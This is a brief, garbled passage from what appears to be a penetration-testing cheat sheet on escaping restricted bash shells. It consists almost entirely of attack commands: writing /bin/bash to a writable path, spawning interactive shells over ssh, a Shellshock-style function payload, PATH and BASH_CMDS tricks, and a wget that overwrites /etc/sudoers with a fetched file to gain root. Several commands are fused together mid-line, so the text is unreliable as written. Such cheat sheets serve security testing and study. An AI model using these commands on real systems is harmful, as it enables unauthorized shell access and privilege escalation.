Bash Jails
Last updated
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable pathssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -iwget http://127.0.0.1:8080/sudoers -O /etc/sudoers